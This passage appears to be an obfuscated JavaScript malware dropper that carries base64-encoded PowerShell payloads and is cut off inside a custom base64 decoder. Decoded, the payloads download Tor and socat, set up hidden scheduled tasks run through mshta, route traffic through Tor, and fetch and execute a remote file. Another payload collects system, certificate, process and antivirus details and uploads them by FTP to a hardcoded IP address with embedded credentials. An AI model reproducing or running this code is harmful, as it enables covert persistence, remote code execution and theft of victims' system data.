- "ICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoU3RyaW5nLkZvcm1hdCgiezB9IHsxfSB7Mn0i"+
- "LCBleC5Tb3VyY2UsIGV4Lk1lc3NhZ2UsIGV4LlN0YWNrVHJhY2UpKTsKICAgICAgICAgICAgfQogICAgICAgIH1lbHNlewogICAg"+
- "ICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlJlZ2lzdHJ5IHJlY29yZHMgbm90IGZvdW5kIik7CiAgICAgICAgfQog"+
- "ICAgICAgIHJldHVybiBmcDsKICAgIH0KfQoiQDsKW1dWWEtUWUJ2cVNdOjpuVW5qaEl1KCkuekttdE9pS1plR3ooIiVDRVJUJSIp"+
- "Owp9CkduQU5DVE8=",
- hImOvMQDBNQBF: "JFNIX1RZUEVfU0NIRURVTEVEX1RBU0s9MTsKJFNIX1RZUEVfVEFTS19TQ0hFRFVMRVI9MjsKJHNjaGVkdWxlclR5cGU9JFNIX1RZUEVfU0NIRURVTEVEX1RBU0s7CmZ1bmN0aW9uIHBodHNSVFlZUVJSRVdpCnsKcGFyYW0oW3N0cmluZ10kemlwZmlsZSwgW3N0cmlu"+
- "Z10kZGVzdGluYXRpb24pOwokN3ogPSBKb2luLVBhdGggJGVudjpBTExVU0VSU1BST0ZJTEUgJzd6YS5leGUnOwppZiAoLU5PVCAoVGVzdC1QYXRoICQ3eikpewpUcnkKewooTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRw"+
- "czovL2Nob2NvbGF0ZXkub3JnLzd6YS5leGUnLCQ3eik7Cn0KQ2F0Y2h7fQp9CmlmICgkKFRyeSB7IFRlc3QtUGF0aCAkN3oudHJpbSgpIH0gQ2F0Y2ggeyAkZmFsc2UgfSkpewpTdGFydC1Qcm9jZXNzICIkN3oiIC1Bcmd1bWVudExpc3QgInggLW9gIiRkZXN0aW5h"+
- "dGlvbmAiIC15IGAiJHppcGZpbGVgIiIgLVdhaXQgLU5vTmV3V2luZG93Cn0KZWxzZXsKJHNoZWxsID0gbmV3LW9iamVjdCAtY29tIHNoZWxsLmFwcGxpY2F0aW9uOwokemlwID0gJHNoZWxsLk5hbWVTcGFjZSgkemlwZmlsZSk7CmZvcmVhY2goJGl0ZW0gaW4gJHpp"+
- "cC5pdGVtcygpKQp7CiRzaGVsbC5OYW1lc3BhY2UoJGRlc3RpbmF0aW9uKS5jb3B5aGVyZSgkaXRlbSk7Cn0KfQp9CmZ1bmN0aW9uIEJhc2U2NFRvRmlsZQp7CnBhcmFtKFtzdHJpbmddJGZpbGUsIFtzdHJpbmddJHN0cmluZyk7CiRieXRlcz1bU3lzdGVtLkNvbnZl"+
- "cnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRzdHJpbmcpOwojc2V0LWNvbnRlbnQgLWVuY29kaW5nIGJ5dGUgJGZpbGUgLXZhbHVlICRieXRlczsKW0lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlLCAkYnl0ZXMpOwp9CmZ1bmN0aW9uIFJhbmRvbVN0cmluZ3sKICAg"+
- "IHBhcmFtKFtpbnRdJG1pbj01LCBbaW50XSRtYXg9MTUpOwogICAgcmV0dXJuICgtam9pbiAoKDQ4Li41NykrKDY1Li45MCkrKDk3Li4xMjIpIHwgR2V0LVJhbmRvbSAtQ291bnQgKEdldC1SYW5kb20gLW1pbmltdW0gJG1pbiAtbWF4aW11bSAkbWF4KSB8ICUge1tj"+
- "aGFyXSRffSkpOwp9CmZ1bmN0aW9uIEluaXRTY2hlZHVsbGVyewogICAgdHJ5ewogICAgICAgIEltcG9ydC1Nb2R1bGUgU2NoZWR1bGVkVGFza3MgLUVycm9yQWN0aW9uIFN0b3A7CiAgICAgICAgcmV0dXJuICRTSF9UWVBFX1NDSEVEVUxFRF9UQVNLOwogICAgfWNh"+
- "dGNoewogICAgICAgICRGaWxlPSRlbnY6VGVtcCsnXCcrKFJhbmRvbVN0cmluZykrJy56aXAnOwogICAgICAgICREZXN0PSRlbnY6VGVtcCsnXCcrKFJhbmRvbVN0cmluZyk7CiAgICAgICAgd2hpbGUgKCEoRUJsVnZEV1pKd0pabkggJ2h0dHBzOi8vYXBpLm51Z2V0"+
- "Lm9yZy9wYWNrYWdlcy90YXNrc2NoZWR1bGVyLjIuNS4yMy5udXBrZycgJEZpbGUpKSB7fQogICAgICAgIGlmICgoVGVzdC1QYXRoICREZXN0KSAtZXEgMSl7UmVtb3ZlLUl0ZW0gLUZvcmNlIC1SZWN1cnNlICREZXN0O31ta2RpciAkRGVzdCB8IE91dC1OdWxsOwog"+
- "ICAgICAgIHBodHNSVFlZUVJSRVdpICRGaWxlICREZXN0OwogICAgICAgIFJlbW92ZS1JdGVtIC1Gb3JjZSAkRmlsZTsKICAgICAgICAkVFNBc3NlbWJseT0kRGVzdCsnXGxpYlxuZXQyMFxNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5kbGwnOwogICAgICAg"+
- "ICRsb2FkTGliID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZEZpbGUoJFRTQXNzZW1ibHkpOwogICAgICAgIHJldHVybiAkU0hfVFlQRV9UQVNLX1NDSEVEVUxFUjsKICAgIH0KfQpmdW5jdGlvbiBYRVBBd0FuQWNXeVBMCnsKcGFyYW0oW3N0cmlu"+
- "Z10kbmFtZSwgW3N0cmluZ10kY21kLCBbc3RyaW5nXSRwYXJhbXM9JycsW2ludF0kcmVzdGFydD0wLFtpbnRdJGRlbGF5PTAsW3N0cmluZ10kZGlyPScnKTsKc3dpdGNoICgkc2NoZWR1bGVyVHlwZSkgewogICAgJFNIX1RZUEVfU0NIRURVTEVEX1RBU0sgewogICAg"+
- "ICAgICRBY3Rpb24gPSBOZXctU2NoZWR1bGVkVGFza0FjdGlvbiAtRXhlY3V0ZSAkY21kOwogICAgICAgIGlmKC1Ob3QgW1N0cmluZ106OklzTnVsbE9yRW1wdHkoJHBhcmFtcykpewogICAgICAgICAgICAkQWN0aW9uLkFyZ3VtZW50cz0kcGFyYW1zOwogICAgICAg"+
- "IH0KICAgICAgICBpZigtTm90IFtTdHJpbmddOjpJc051bGxPckVtcHR5KCRkaXIpKXsKICAgICAgICAgICAgJEFjdGlvbi5Xb3JraW5nRGlyZWN0b3J5PSRkaXI7CiAgICAgICAgfQogICAgICAgICRMb2dvblRyaWdnZXIgPSBOZXctU2NoZWR1bGVkVGFza1RyaWdn"+
- "ZXIgLUF0TG9nT247CiAgICAgICAgdHJ5ewogICAgICAgICAgICAkTG9nb25UcmlnZ2VyLlVzZXJJZD0kZW52OnVzZXJuYW1lOwogICAgICAgIH1jYXRjaHsKICAgICAgICAgICAgJExvZ29uVHJpZ2dlci5Vc2VyPSRlbnY6dXNlcm5hbWU7CiAgICAgICAgfQogICAg"+
- "ICAgIGlmKC1Ob3QgJGRlbGF5IC1lcSAwKXsKICAgICAgICAgICAgJExvZ29uVHJpZ2dlci5EZWxheT1OZXctVGltZVNwYW4gLVNlY29uZHMgJGRlbGF5OwogICAgICAgIH0KICAgICAgICBpZigkcmVzdGFydCAtZXEgMSl7CiAgICAgICAgICAgICRUaW1lVHJpZ2dl"+
- "ciA9IE5ldy1TY2hlZHVsZWRUYXNrVHJpZ2dlciAtT25jZSAtQXQgMTJhbSAtUmVwZXRpdGlvbkludGVydmFsIChbU3lzdGVtLlRpbWVTcGFuXTo6RnJvbU1pbnV0ZXMoMSkpIC1SZXBldGl0aW9uRHVyYXRpb24gKFtTeXN0ZW0uVGltZVNwYW5dOjpGcm9tRGF5cygz"+
- "NjUgKiAyMCkpOwogICAgICAgIH0KICAgICAgICAkU2V0dGluZ3MgPSBOZXctU2NoZWR1bGVkVGFza1NldHRpbmdzU2V0OwogICAgICAgICRTZXR0aW5ncy5EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcyA9ICRGYWxzZTsKICAgICAgICAkU2V0dGluZ3MuU3RvcElm"+
- "R29pbmdPbkJhdHRlcmllcyA9ICRGYWxzZTsKICAgICAgICBpZigkcmVzdGFydCAtZXEgMSl7CiAgICAgICAgICAgICRUYXNrID0gUmVnaXN0ZXItU2NoZWR1bGVkVGFzayAtQWN0aW9uICRBY3Rpb24gLVRyaWdnZXIgJExvZ29uVHJpZ2dlciwkVGltZVRyaWdnZXIg"+
- "LVNldHRpbmdzICRTZXR0aW5ncyAtVGFza05hbWUgJG5hbWUgLURlc2NyaXB0aW9uIChSYW5kb21TdHJpbmcpOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAkVGFzayA9IFJlZ2lzdGVyLVNjaGVkdWxlZFRhc2sgLUFjdGlvbiAkQWN0aW9uIC1UcmlnZ2VyICRM"+
- "b2dvblRyaWdnZXIgLVNldHRpbmdzICRTZXR0aW5ncyAtVGFza05hbWUgJG5hbWUgLURlc2NyaXB0aW9uIChSYW5kb21TdHJpbmcpOwogICAgICAgIH0KICAgICAgICBTdGFydC1TY2hlZHVsZWRUYXNrIC1JbnB1dE9iamVjdCAkVGFzazsKICAgIH07CiAgICBEZWZh"+
- "dWx0IHsKICAgICAgICAkdHM9TmV3LU9iamVjdCBNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5UYXNrU2VydmljZTsKICAgICAgICAkdGQ9JHRzLk5ld1Rhc2soKTsKICAgICAgICAkdGQuUmVnaXN0cmF0aW9uSW5mby5EZXNjcmlwdGlvbiA9IChSYW5kb21T"+
- "dHJpbmcpOwogICAgICAgICR0ZC5TZXR0aW5ncy5EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcyA9ICRGYWxzZTsKICAgICAgICAkdGQuU2V0dGluZ3MuU3RvcElmR29pbmdPbkJhdHRlcmllcyA9ICRGYWxzZTsKICAgICAgICAkdGQuU2V0dGluZ3MuTXVsdGlwbGVJ"+
- "bnN0YW5jZXMgPSBbTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuVGFza0luc3RhbmNlc1BvbGljeV06Oklnbm9yZU5ldzsKICAgICAgICAkTG9nb25UcmlnZ2VyID0gTmV3LU9iamVjdCBNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5Mb2dvblRyaWdn"+
- "ZXI7CiAgICAgICAgJExvZ29uVHJpZ2dlci5TdGFydEJvdW5kYXJ5PVtTeXN0ZW0uRGF0ZVRpbWVdOjpOb3c7CiAgICAgICAgJExvZ29uVHJpZ2dlci5Vc2VySWQ9JGVudjp1c2VybmFtZTsKICAgICAgICAkTG9nb25UcmlnZ2VyLkRlbGF5PVtTeXN0ZW0uVGltZVNw"+
- "YW5dOjpGcm9tU2Vjb25kcygkZGVsYXkpOwogICAgICAgICR0ZC5UcmlnZ2Vycy5BZGQoJExvZ29uVHJpZ2dlcik7CiAgICAgICAgaWYoJHJlc3RhcnQgLWVxIDEpewogICAgICAgICRUaW1lVHJpZ2dlciA9IE5ldy1PYmplY3QgTWljcm9zb2Z0LldpbjMyLlRhc2tT"+
- "Y2hlZHVsZXIuVGltZVRyaWdnZXI7CiAgICAgICAgJFRpbWVUcmlnZ2VyLlN0YXJ0Qm91bmRhcnk9W1N5c3RlbS5EYXRlVGltZV06Ok5vdzsKICAgICAgICAkVGltZVRyaWdnZXIuUmVwZXRpdGlvbi5JbnRlcnZhbD1bU3lzdGVtLlRpbWVTcGFuXTo6RnJvbU1pbnV0"+
- "ZXMoMSk7CiAgICAgICAgJFRpbWVUcmlnZ2VyLlJlcGV0aXRpb24uU3RvcEF0RHVyYXRpb25FbmQ9JEZhbHNlOwogICAgICAgICR0ZC5UcmlnZ2Vycy5BZGQoJFRpbWVUcmlnZ2VyKTsKICAgICAgICB9CiAgICAgICAgJHRzZj0iTWljcm9zb2Z0LldpbjMyLlRhc2tT"+
- "Y2hlZHVsZXIiOwogICAgICAgICRFeGVjQWN0aW9uPU5ldy1PYmplY3QgIiR0c2YuRXhlY0FjdGlvbiIoJGNtZCwkcGFyYW1zLCRkaXIpOwogICAgICAgICR0ZC5BY3Rpb25zLkFkZCgkRXhlY0FjdGlvbik7CiAgICAgICAgJHRhc2s9JHRzLlJvb3RGb2xkZXIuUmVn"+
- "aXN0ZXJUYXNrRGVmaW5pdGlvbigkbmFtZSwgJHRkKTsKICAgICAgICAkdGFzay5SdW4oKTsKICAgIH07Cn0KfQpmdW5jdGlvbiBFQmxWdkRXWkp3SlpuSCB7CiAgICBwYXJhbShbc3RyaW5nXSRvTGpVb3JiUCwgW3N0cmluZ10kUm9DKTsKICAgICRFcnJvckFjdGlv"+
- "blByZWZlcmVuY2UgPSAiU3RvcCI7CiAgICBXcml0ZS1Ib3N0ICgiRG93bmxvYWQgezB9IHRvIHsxfSIgLWYgKCRvTGpVb3JiUCwgJFJvQykpOwogICAgdHJ5IHsKICAgICAgICBTdGFydC1CaXRzVHJhbnNmZXIgLVNvdXJjZSAkb0xqVW9yYlAgLURlc3RpbmF0aW9u"+
- "ICRSb0M7CiAgICB9CiAgICBjYXRjaCB7CiAgICAgICAgI1dyaXRlLUVycm9yICRfIC1FcnJvckFjdGlvbiBDb250aW51ZTsKICAgICAgICB0cnkgewogICAgICAgICAgICAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCRvTGpV"+
- "b3JiUCwkUm9DKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggewogICAgICAgICAgICAjV3JpdGUtRXJyb3IgJF8gLUVycm9yQWN0aW9uIENvbnRpbnVlOwogICAgICAgICAgICBTdGFydC1Qcm9jZXNzICJjbWQuZXhlIiAtQXJndW1lbnRMaXN0ICIvYiAvYyBiaXRz"+
- "YWRtaW4gL3RyYW5zZmVyIC9kb3dubG9hZCAvcHJpb3JpdHkgSElHSCBgIiRvTGpVb3JiUGAiIGAiJFJvQ2AiIiAtV2FpdCAtV2luZG93U3R5bGUgSGlkZGVuOwogICAgICAgIH0KICAgIH1maW5hbGx5ewogICAgICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAi"+
- "Q29udGludWUiOwogICAgfQogICAgaWYgKCAkKFRyeSB7IFRlc3QtUGF0aCAkUm9DLnRyaW0oKSB9IENhdGNoIHsgJGZhbHNlIH0pKXsKICAgICAgICByZXR1cm4gJHRydWU7CiAgICB9CiAgICByZXR1cm4gJGZhbHNlOwp9CmZ1bmN0aW9uIGZGUUVvSWhTbEZEewok"+
- "c2NoZWR1bGVyVHlwZSA9IEluaXRTY2hlZHVsbGVyOwokdGY9JGVudjpUZW1wKydcJysoUmFuZG9tU3RyaW5nKSsnLnppcCc7CiREZXN0VFA9JGVudjpBTExVU0VSU1BST0ZJTEUrJ1wnKyhSYW5kb21TdHJpbmcpOwokVG9yTWlycm9ycz1AKCJodHRwczovL2Rpc3Qu"+
- "dG9ycHJvamVjdC5vcmcvIiwKImh0dHBzOi8vdG9ycHJvamVjdC5taXJyb3IubWV0YWxnYW1lci5ldS9kaXN0LyIsCiJodHRwczovL3Rvci55YnRpLm5ldC9kaXN0LyIpOwpmb3JlYWNoICgkbWlycm9yIGluICRUb3JNaXJyb3JzKSB7CiAgICAkX3VybD0kbWlycm9y"+
- "Kyd0b3Jicm93c2VyLzcuNS42L3Rvci13aW4zMi0wLjMuMy43LnppcCc7CiAgICBpZigoRUJsVnZEV1pKd0pabkggJF91cmwgJHRmKSl7CiAgICAgICAgYnJlYWs7CiAgICB9Cn0KaWYgKChUZXN0LVBhdGggJERlc3RUUCkgLWVxIDEpe1JlbW92ZS1JdGVtIC1Gb3Jj"+
- "ZSAtUmVjdXJzZSAkRGVzdFRQO31ta2RpciAkRGVzdFRQIHwgT3V0LU51bGw7CnBodHNSVFlZUVJSRVdpICR0ZiAkRGVzdFRQOwpSZW1vdmUtSXRlbSAtRm9yY2UgJHRmOwokdlJTVUk9JERlc3RUUCsnXFRvclwnOwokaXBLZWk9InZic2NyaXB0OmNsb3NlKENyZWF0"+
- "ZU9iamVjdChgIldTY3JpcHQuU2hlbGxgIikuUnVuKGAidG9yLmV4ZWAiLDAsRmFsc2UpKSI7ClhFUEF3QW5BY1d5UEwgKFJhbmRvbVN0cmluZykgJ21zaHRhLmV4ZScgJGlwS2VpIDAgMCAkdlJTVUk7CiRPaWx2Qmlhc1c9JGVudjpUZW1wKydcJysoUmFuZG9tU3Ry"+
- "aW5nKSsnLnppcCc7CiRrcEJnSnpHdG9HYz0oUmFuZG9tU3RyaW5nKTsKJFNsSXFPYj0kRGVzdFRQKydcJyska3BCZ0p6R3RvR2MrJ1wnOwpFQmxWdkRXWkp3SlpuSCAnaHR0cHM6Ly9naXRodWIuY29tL1N0dWRpb0V0cmFuZ2Uvc29jYXQtd2luZG93cy9hcmNoaXZl"+
- "LzEuNy4yLjEuemlwJyAkT2lsdkJpYXNXOwppZiAoICQoVHJ5IHsgVGVzdC1QYXRoICRPaWx2Qmlhc1cudHJpbSgpIH0gQ2F0Y2ggeyAkZmFsc2UgfSkpewogICAgcGh0c1JUWVlRUlJFV2kgJE9pbHZCaWFzVyAkRGVzdFRQOwogICAgJFZDeEREPSREZXN0VFArJ1xz"+
- "b2NhdC13aW5kb3dzLTEuNy4yLjFcJzsKICAgIFJlbmFtZS1JdGVtIC1wYXRoICRWQ3hERCAtbmV3TmFtZSAka3BCZ0p6R3RvR2M7Cn1lbHNlewogICAgRUJsVnZEV1pKd0pabkggJ2h0dHA6Ly9ibG9nLmdlbnRpbGtpd2kuY29tL2Rvd25sb2Fkcy9zb2NhdC0xLjcu"+
- "Mi4xLnppcCcgJE9pbHZCaWFzVzsKICAgIHBodHNSVFlZUVJSRVdpICRPaWx2Qmlhc1cgJFNsSXFPYjsKfQpSZW1vdmUtSXRlbSAtRm9yY2UgJE9pbHZCaWFzVzsKJHMxY21kPSdzb2NhdCB0Y3A0LUxJU1RFTjo1NTU1LHJldXNlYWRkcixmb3JrLGtlZXBhbGl2ZSxi"+
- "aW5kPTEyNy4wLjAuMSBTT0NLUzRBOjEyNy4wLjAuMTolRE9NQUlOJTo4MCxzb2Nrc3BvcnQ9OTA1MCc7CiRzMmNtZD0nc29jYXQgdGNwNC1MSVNURU46NTU4OCxyZXVzZWFkZHIsZm9yayxrZWVwYWxpdmUsYmluZD0xMjcuMC4wLjEgU09DS1M0QToxMjcuMC4wLjE6"+
- "JURPTUFJTiU6NTU4OCxzb2Nrc3BvcnQ9OTA1MCc7CiRMT2ZQPSJ2YnNjcmlwdDpjbG9zZShDcmVhdGVPYmplY3QoYCJXU2NyaXB0LlNoZWxsYCIpLlJ1bihgIiRzMWNtZGAiLDAsRmFsc2UpKSI7CiRTTGVMa1psQWV4SGw9InZic2NyaXB0OmNsb3NlKENyZWF0ZU9i"+
- "amVjdChgIldTY3JpcHQuU2hlbGxgIikuUnVuKGAiJHMyY21kYCIsMCxGYWxzZSkpIjsKWEVQQXdBbkFjV3lQTCAoUmFuZG9tU3RyaW5nKSAnbXNodGEuZXhlJyAkTE9mUCAwIDAgJFNsSXFPYjsKWEVQQXdBbkFjV3lQTCAoUmFuZG9tU3RyaW5nKSAnbXNodGEuZXhl"+
- "JyAkU0xlTGtabEFleEhsIDAgMCAkU2xJcU9iOwokTlZ3bGx3bUh4QmNpWD0idmJzYyIrInJpcHQ6Y2xvc2UoQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKS5SdW4oYCJwb3dlcnNoZWxsLmV4ZSBgImAiYCRGPWAkZW52OlRlbXArJ1xcIisoUmFuZG9tU3Ry"+
- "aW5nKSsiLmV4ZSc7cm0gLUZvcmNlIGAkRjtgJGNsPShOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpO2AkY2wuRG93bmxvYWRGaWxlKCdodHRwOi8vMTI3LjAuMC4xOjU1NTUvIisoUmFuZG9tU3RyaW5nKSsiLmFzcD90cyZpcD0nK2AkY2wuRG93bmxvYWRgIitgIlN0"+
- "cmluZygnaHR0cDovL2FwaS5pcGlmeS5vcmcvJyksYCRGKTsmIGAkRmAiYCJgIiwwLEZhbHNlKSkiOwpYRVBBd0FuQWNXeVBMIChSYW5kb21TdHJpbmcpICdtc2h0YS5leGUnICROVndsbHdtSHhCY2lYIDE7Cn0KZkZRRW9JaFNsRkQ7",
- xeTyaqtDyybP: "JExvZ2ZpbGUgPSAkZW52OlRlbXArIlxcJChnYyBlbnY6Y29tcHV0ZXJuYW1lKS5sb2ciOwoKRnVuY3Rpb24gTG9nV3JpdGUKewogIFBhcmFtIChbc3RyaW5nXSRsb2dzdHJpbmcpCiAgJGR0PUdldC1EYXRlIC1Gb3JtYXQgImRkLk1NLnl5eXkgSEg6bW06c3MiOwog"+
- "ICRtc2c9W3N0cmluZ106OkZvcm1hdCgiW3swfV06Olt7MX1dIiwkZHQsJGxvZ3N0cmluZyk7CiAgV3JpdGUtSG9zdCAkbXNnOwogIEFkZC1jb250ZW50ICRMb2dmaWxlIC12YWx1ZSAkbXNnOwp9CkZ1bmN0aW9uIFVwbG9hZExvZwp7CiAgJGRlc3QgPSAiZnRwOi8v"+
- "V2V0dGJld2VyYjptYW50bGVyMTIyMHhAOTEuMTEyLjIxNC4xODIvcHVibGljX2h0bWwvbG9nIjsKICAkd2ViY2xpZW50ID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLk5ldC5XZWJDbGllbnQ7CiAgJHdlYmNsaWVudC5VcGxvYWRGaWxlKCIkZGVzdC8kKGdj"+
- "IGVudjpjb21wdXRlcm5hbWUpLmxvZyIsICRMb2dmaWxlKTsKICBSZW1vdmUtSXRlbSAtUGF0aCAkTG9nZmlsZTsKfQpmdW5jdGlvbiBDaGVja0luc3RhbGwoKXsKICAkd2luaW5mbyA9IChHZXQtV21pT2JqZWN0IFdpbjMyX09wZXJhdGluZ1N5c3RlbSB8IFNlbGVj"+
- "dCBDYXB0aW9uLCBTZXJ2aWNlUGFja01ham9yVmVyc2lvbiwgT1NBcmNoaXRlY3R1cmUsIFZlcnNpb24sIE1VSUxhbmd1YWdlcyk7CiAgJHdpbmluZm8uTVVJTGFuZ3VhZ2VzPSR3aW5pbmZvLk1VSUxhbmd1YWdlcyAtam9pbiAiLCI7CiAgTG9nV3JpdGUoIk9TIGlu"+
- "Zm86IHswfSIgLWYgJHdpbmluZm8gLWpvaW4gIiIpOwogIGlmICh0ZXN0LXBhdGggdmFyaWFibGU6cHN2ZXJzaW9udGFibGUpIHsKICAgICR2ZXJzaW9uID0gJHBzdmVyc2lvbnRhYmxlLnBzdmVyc2lvbjsKICB9IGVsc2UgewogICAgJHZlcnNpb24gPSBbdmVyc2lv"+
- "bl0iMS4wLjAuMCI7CiAgfQogIExvZ1dyaXRlKCJQb3dlcnNoZWxsIHZlcnNpb246IHswfSIgLWYgJHZlcnNpb24pOwogIHRyeSB7CiAgICAkcGFjPUdldC1JdGVtUHJvcGVydHkgJ2hrY3U6XFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJz"+
- "aW9uXFxJbnRlcm5ldCBTZXR0aW5nc1wnfFNlbGVjdCAtZXhwYW5kIEF1dG9Db25maWdVUkwgLUVycm9yQWN0aW9uIFN0b3A7CiAgICBMb2dXcml0ZSgiUGFjIHNldHRlZDogJyRwYWMnIik7CiAgfQogIGNhdGNoIHsKICAgIExvZ1dyaXRlKCJFUlJPUjogUGFjIG5v"+
- "dCBzZXR0ZWQiKTsKICB9CiAgJENlcnRzID0gQChHZXQtQ2hpbGRJdGVtIGNlcnQ6XEN1cnJlbnRVc2VyXFJPT1R8V2hlcmUtT2JqZWN0IHskXy5TdWJqZWN0IC1saWtlICIqQ09NT0RPIFJTQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EgMioi"+
- "IC1vciAkXy5TdWJqZWN0IC1saWtlICIqQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5KiJ9fEZvckVhY2gtT2JqZWN0IHsiezB9ICh7MX0pIiAtZiAoJF8uVGh1bWJwcmludCwkXy5Ob3RCZWZvcmUpfSk7CiAgaWYgKC1OT1QgJENlcnRzLmNvdW50IC1lcSAw"+
- "KXsKICAgIExvZ1dyaXRlKCJDZXJ0cyBpbnN0YWxsZWQ6ICd7MH0nIiAtZiAoJENlcnRzIC1qb2luICI7ICIpKTsKICB9ZWxzZSB7CiAgICBMb2dXcml0ZSgiQ2VydHMgbm90IGZvdW5kIik7CiAgfQogIHRyeXsKICAgICRwcm9jID0gR2V0LVByb2Nlc3MgfCBXaGVy"+
- "ZS1PYmplY3QgeyRfLlByb2Nlc3NOYW1lIC1saWtlICJ0b3IqIiAtb3IgJF8uUHJvY2Vzc05hbWUgLWxpa2UgInNvY2F0KiJ9fFNlbGVjdCAtUHJvcGVydHkgQHsgTmFtZT0iT3V0IjsgRXhwcmVzc2lvbj17IklEOnswfWBuTmFtZTp7MX1gblBhdGg6ezJ9YG4tLS0t"+
- "LS0tLS0tLS0tIiAtZiAkXy5JZCwkXy5Qcm9jZXNzTmFtZSwkXy5QYXRofX18U2VsZWN0IC1leHBhbmQgT3V0OwogICAgTG9nV3JpdGUoIlByb2NjZXNzIGxpc3Q6YG57MH0iIC1mICgkcHJvYyAtam9pbiAiYG4iKSk7CiAgfQogIGNhdGNoIHsKICAgIExvZ1dyaXRl"+
- "KCJFUlJPUjogQ2FuJ3QgZ2V0IHByb2NjZXNzIGxpc3QiKTsKICB9CiAgJERlc3RUUD0kZW52OkFMTFVTRVJTUFJPRklMRTsKICB0cnl7CiAgICAkZGlycz1kaXIoJERlc3RUUCkgLUVycm9yQWN0aW9uIFN0b3A7CiAgICBMb2dXcml0ZSgiTGlzdCBkaXIgW3swfV06"+
- "IHsxfSIgLWYgKCREZXN0VFAsICgoJGRpcnN8U2VsZWN0IC1leHBhbmQgTmFtZSkgLWpvaW4gIjsgIikpKTsKICAgIGZvcmVhY2goJGRpciBpbiAkZGlycyl7CiAgICAgICAgdHJ5ewogICAgICAgICAgICAkc3ViZGlyPWRpcigkZGlyLkZ1bGxOYW1lKSAtRXJyb3JB"+
- "Y3Rpb24gU3RvcDsKICAgICAgICAgICAgTG9nV3JpdGUoIkxpc3QgZGlyIFt7MH1dOnsxfSIgLWYgKCRkaXIuRnVsbE5hbWUsICgoJHN1YmRpcnxTZWxlY3QgLWV4cGFuZCBOYW1lKSAtam9pbiAiOyAiKSkpOwogICAgICAgIH0KICAgICAgICBjYXRjaHsKICAgICAg"+
- "ICAgICAgTG9nV3JpdGUoIkVSUk9SOiBDYW4ndCBsaXN0IGRpciB7MH0iIC1mICRkaXIuRnVsbE5hbWUpOwogICAgICAgIH0KICAgIH0KICB9CiAgY2F0Y2ggewogICAgTG9nV3JpdGUoIkVSUk9SOiBDYW4ndCBsaXN0IGRpciB7MH0iIC1mICREZXN0VFApOwogIH0K"+
- "CiAgJGF2bGlzdD0oR2V0LVdtaU9iamVjdCAtTmFtZXNwYWNlICJyb290XFNlY3VyaXR5Q2VudGVyMiIgLVF1ZXJ5ICJTRUxFQ1QgKiBGUk9NIEFudGlWaXJ1c1Byb2R1Y3QiICBAcHNib3VuZHBhcmFtZXRlcnN8U2VsZWN0IC1leHBhbmQgRGlzcGxheU5hbWUpOwog"+
- "IGlmICgtTk9UICRhdmxpc3QuY291bnQgLWVxIDApewogICAgTG9nV3JpdGUoIkF2IGluc3RhbGxlZDogJ3swfSciIC1mICgkYXZsaXN0IC1qb2luICI7ICIpKTsKICB9ZWxzZSB7CiAgICBMb2dXcml0ZSgiQXYgbm90IGZvdW5kIik7CiAgfQp9CmZ1bmN0aW9uIFN0"+
- "YXJ0V29yaygpewogIExvZ1dyaXRlICJTdGFydCBMb2cgbW9kdWxlIjsKICBTdGFydC1TbGVlcCAtcyAzOwogIENoZWNrSW5zdGFsbDsKICBVcGxvYWRMb2c7Cn0KU3RhcnRXb3JrOwo="
- };
- var tDcjphyRteGR={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=tDcjphyRteGR._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},ySMYrGCygMrKTF:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=this._keyStr.indexOf(e.charAt(f++));o=this._keyStr.indexOf(e.charAt(f++));u=this._keyStr.indexOf(e.charAt(f++));a=this._keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=tDcjphyRteGR._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var 